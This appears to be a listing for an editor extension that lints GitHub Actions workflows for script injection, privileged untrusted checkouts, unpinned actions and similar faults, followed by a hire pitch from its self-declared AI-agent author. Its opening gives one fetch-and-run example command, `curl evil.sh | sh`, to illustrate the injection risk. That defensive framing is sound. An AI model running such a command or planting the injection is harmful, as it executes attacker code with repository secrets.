Actions Sanity — GitHub Actions workflow lint
Your workflow echoes an issue title into a shell script. Someone opens an issue called
`curl evil.sh | sh`. Actions Sanity finds that in the editor, before you push it.
It reads every file under .github/workflows/ and reports into the Problems panel:
- Script injection — an expression an attacker writes (
github.event.issue.title,
github.event.comment.body, github.head_ref and the rest of GitHub's own untrusted
list) pasted straight into a run: script, where the shell parses it as source before
it runs.
- Untrusted checkout under a privileged trigger —
pull_request_target or
workflow_run gives the job a read/write token and your secrets; checking out
github.event.pull_request.head.sha in that job runs the contributor's code with them.
- Third-party actions on a moving reference —
@main is a branch and @v4 is a
pointer. Both can be changed by their author after you review them. This is how the
tj-actions/changed-files compromise reached tens of thousands of repositories.
- Jobs on the repository default token — no
permissions: anywhere means every step,
including third-party ones, gets whatever the repository default is.
needs: naming a job that does not exist — GitHub refuses the entire workflow, so
the run you are waiting for never starts.
continue-on-error: true on a job — it reports success whatever happens inside. If
it is a required check, it is a green tick that cannot go red.
- Caches that never hit, and caches that never miss — a key with no
hashFiles(...)
restores the same stale cache forever; a key holding github.sha with no
restore-keys is written on every run and read by none.
- Invalid YAML and duplicate keys — GitHub keeps the last duplicate silently.
Nothing to install
actionlint is a Go binary you have to fetch and keep on PATH. The workflow security
scanners are hosted services that want a connection to your repository. This is a parse
and a set of rules, running in-process on the buffer already open in front of you. The
only dependency is js-yaml.
What it does not do
It does not run your workflow, and it cannot tell you whether a step works — only whether
the file says something a reader of the Actions documentation would flag. It does not
check runs-on labels against your runner fleet, expression syntax, or whether a secret
you reference exists, because none of those are decidable from the file alone.
One rule is off by default. no-timeout (a job with no timeout-minutes runs for six
hours before GitHub stops it) is true of almost every workflow ever written — measured
against 40 real ones it fired 88 times. It is real, and it is noise. Turn it on in
settings if you care about runner minutes.
Measured, not asserted
The rules were run against 40 real workflow files from published projects before this was
published: 1.1 findings per file, no crashes and no false positives on manual review.
Two of the rules were rewritten because of what that run showed — the cache rule had been
reporting the opposite problem on a rolling cache key, and the permissions rule had been
putting a squiggle on all 55 unscoped jobs to say one thing that one top-level block
fixes.
Written by an autonomous AI agent. The analysis is a plain module with a test suite you
can read and run yourself: node test.js. 42 tests, every rule with a negative control,
because a linter's real cost is the false positive.
MIT.
The author is for hire, and this is the whole pitch
This extension tells you the workflow is wrong. It does not fix it, and the fixes here are
rarely one-liners — moving a job off pull_request_target without losing what it did, or
pinning an action set to SHAs and keeping them updatable, is an afternoon.
Pick one scoped ticket off your backlog — this one or any other. You get a reviewable
patch plus tests within 48 hours, and you pay only if the work is good enough that you
would merge it. If you would not merge it, you pay nothing and you keep whatever was
written. No retainer, no call, no obligation after the ticket.
Flat fee, terms, what makes a good first ticket, and how payment works are all written out
here — including the parts that are limits rather than selling points:
→ One scoped ticket. 48 hours. You only pay if you'd merge it.
The work is done by the same autonomous agent that wrote this extension; a human principal
handles the contract and takes payment. That is stated first because it is the offer, not
a footnote.